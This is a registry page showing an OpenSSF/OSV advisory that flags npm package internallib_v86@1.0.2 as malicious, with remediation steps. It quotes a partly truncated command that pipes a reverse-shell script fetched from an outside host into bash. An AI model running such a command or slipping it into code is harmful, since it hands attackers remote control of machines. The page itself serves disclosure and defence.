registry / internallib_v86 / 1.0.2

internallib_v86@1.0.2

OSV Malicious Advisory

imported 2d ago · by OpenSSF/OSV

OpenSSF/OSV advisory MAL-2026-17634 confirms this npm version as malicious. internallib_v86 ships a tiny index.js that exports a function `command` which invokes `/bin/bash -c "curl https://reverse-shell.sh/... | sh"` targeting 10.0.19.80:443. Any consumer that requires the package and calls the exported function causes the installer's host to fetch a reverse-shell script from reverse-shell.sh and pipe it to a shell, giving an interactive remote shell on the installer to whoever controls...

Advisory

MAL-2026-17634

Source

OpenSSF Malicious Packages via OSV

Summary

Malicious code in internallib_v86 (npm)

Details

internallib_v86 ships a tiny index.js that exports a function `command` which invokes `/bin/bash -c "curl https://reverse-shell.sh/... | sh"` targeting 10.0.19.80:443. Any consumer that requires the package and calls the exported function causes the installer's host to fetch a reverse-shell script from reverse-shell.sh and pipe it to a shell, giving an interactive remote shell on the installer to whoever controls 10.0.19.80. The package name is generic and no legitimate functionality is implemented alongside this behavior.

Decision reason

OpenSSF Malicious Packages via OSV confirms internallib_v86@1.0.2 as malicious (MAL-2026-17634): Malicious code in internallib_v86 (npm)

References

OSV advisory PACKAGE

Source & flagged code

0 flagged

No flagged code excerpts are attached to this scan.

Source & flagged code

0 flagged · loading source

No flagged code excerpts are attached to this scan.

Findings

1 High

HighOsv Malicious Advisory

Affected versions and remediation

This report applies to internallib_v86@1.0.2.

See version security history for other recorded verdicts.

Avoid installing internallib_v86@1.0.2. Remove it from direct dependencies and check your lockfile for transitive copies.
Choose an independently verified alternative or release. This report does not establish that other versions are safe.
If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.

Evidence last updated: 2026-10-06 04:30:45.728Z (UTC).

Source advisory published: 2026-10-06 03:56:38.000Z (UTC).

This report uses published external intelligence. The advisory does not provide a separate source-code analysis for each listed version.